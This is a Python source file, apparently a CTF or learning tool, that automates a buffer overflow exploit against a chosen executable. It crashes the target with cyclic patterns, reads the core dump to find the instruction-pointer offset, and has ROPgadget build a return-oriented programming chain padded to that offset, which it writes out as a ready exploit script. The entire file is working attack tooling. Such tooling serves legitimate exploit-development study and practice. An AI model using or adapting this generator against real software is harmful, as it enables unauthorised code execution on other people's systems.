from pwnlib.elf.corefile import Coredump
from pwnlib.util.cyclic import cyclic, cyclic_find
from pwnlib.util.packing import pack
from pwnlib.tubes.process import process, signal

import os
import subprocess
import argparse
import warnings
import ROPgadget.ropgadget

print(r'''
   _                ___       _.--.  ___        _____          ______ _____          ______ ______ 
\`.|\..----...-'`   `-._.-'_.-'`    / _ \      / ____|   /\   |____  / ____|   /\   |  ____|  ____|
/  ' `         ,       __.--'      | | | |_  _| |       /  \      / / |       /  \  | |__  | |__   
)/' _/     \   `-_,   /            | | | \ \/ / |      / /\ \    / /| |      / /\ \ |  __| |  __|
`-'" `"\_  ,_.-;_.-\_ ',           | |_| |>  <| |____ / ____ \  / / | |____ / ____ \| |    | |____ 
    _.-'_./   {_.'   ; /            \___//_/\_\\_____/_/    \_\/_/   \_____/_/    \_\_|    |______|
   {_.-``-'         {_/
''')

arg_parser = argparse.ArgumentParser(description="Run an automated ROP on an executable")
arg_parser.add_argument("exec_file", metavar="exec_file", type=str, help="The executable file to exploit")
arg_parser.add_argument("--core", "--c", metavar="core_file", type=str, help="The name of the generated core file")
args = arg_parser.parse_args()

exec_file = args.exec_file
core_file = args.core

def find_offset(exec_file, core_file):
    input_file = "input.txt"

    try:
        os.remove(core_file)
    except:
        pass    
    
    payload_size = 32
    while payload_size <= 16384:
        print(f"[🤔] Trying payload {payload_size}...")

        with open(input_file, "wb") as f:
            payload = cyclic(payload_size)
            f.write(payload)

        process([f"./{exec_file}", input_file]).wait()

        try:
            core = Coredump(f"./{core_file}")
            
            if core and pack(core.eip) in payload:
                offset = cyclic_find(core.eip)
                print(f"[😳] Found offset at {offset}!")
                return offset
        except FileNotFoundError:
            pass

        os.remove(input_file)
        payload_size *= 2
    
    raise BaseException("Failed to find offset")


offset = find_offset(exec_file, core_file)

result = subprocess.run(["ROPgadget", "--binary", exec_file, "--ropchain"], stdout=subprocess.PIPE)
stdout = result.stdout


stdout = stdout.replace(b"p = ''\n", b"p = \"" + bytes('a' * offset, 'ascii') + b"\"\n")
with open("test.py", "wb") as f:
    f.write(stdout)